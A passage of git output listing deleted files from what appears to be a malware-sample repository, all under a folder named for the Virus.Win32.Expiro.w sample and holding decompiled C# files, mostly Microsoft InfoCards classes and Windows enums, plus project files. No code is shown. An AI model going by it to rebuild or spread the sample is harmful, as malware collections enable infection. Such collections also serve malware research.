MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PinProtectionHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Policy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUsageContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessExitedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProcessMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ProtocolProfile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryDetails.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/QueryStoreStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RPIdentityRequirement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RSATokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Recipient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteX509Token.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Request.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ResolvePPIDRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFile.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RoamingStoreFileUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAllocMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAsyncResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcAuthorizeCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCallbacks.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcClientBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcCryptoRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcFreeMemCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcProcessNewRequestCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcResponse.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcRundownClientContextHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentBindToServiceCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RpcUIAgentGetWorkCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RsaKeyGen.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeCryptoKeyHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeJobHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeNativeHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SafeRsaProviderHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveLedgerEntryRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SaveRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndex.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexDefinition.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexItem.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecondaryIndexSettings.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SecurityKeyTypeInternal.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthAsymmetricKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthProofToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSACryptoProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureDeformatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedAuthRSAPKCS1SignatureFormatter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedSamlTokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SendAgentStatusRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SerializationIncompleteException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ServiceBusyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserLanguageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SignatureHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StorableObjectType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/StoreConnection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/SystemShuttingDownException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenCreationParameter.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenDescriptor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryBase.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryCredentialType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TokenFactoryFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TransformFinalBlockRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/TrustExchangeException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncBeginRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentAsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentCrashedException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentInitializationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentMonitorHandle.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIAgentRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UIEndRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnlockCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UnsupportedPolicyOptionsException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UntrustedRecipientException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserNameTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/UserPreference.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Utility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/VerifyHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/WSIdentityFaultException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509AudioLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509ImageLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509Logo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoDataType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509LogoTypeExtension.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/X509RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/XmlNames.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/NEGOTIATE_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDEXECOPT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OLECMDTEXTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/OfflineFolderStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/PIDMSI_STATUS_VALUE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RESTRICTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RPC_ADDRESS_CHANGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RefreshConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ReplacesCorHdrNumericDefines.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/RequireAppliesToStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSGEOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SYSNLS_FUNCTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/SecureLockIconConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellFolderViewOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellSpecialFolderConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowFindWindowOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ShellWindowTypeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/TrustDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/VARENUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.csproj delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Virus.Win32.Expiro.w.sln delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/WELL_KNOWN_SID_TYPE.cs delete mode 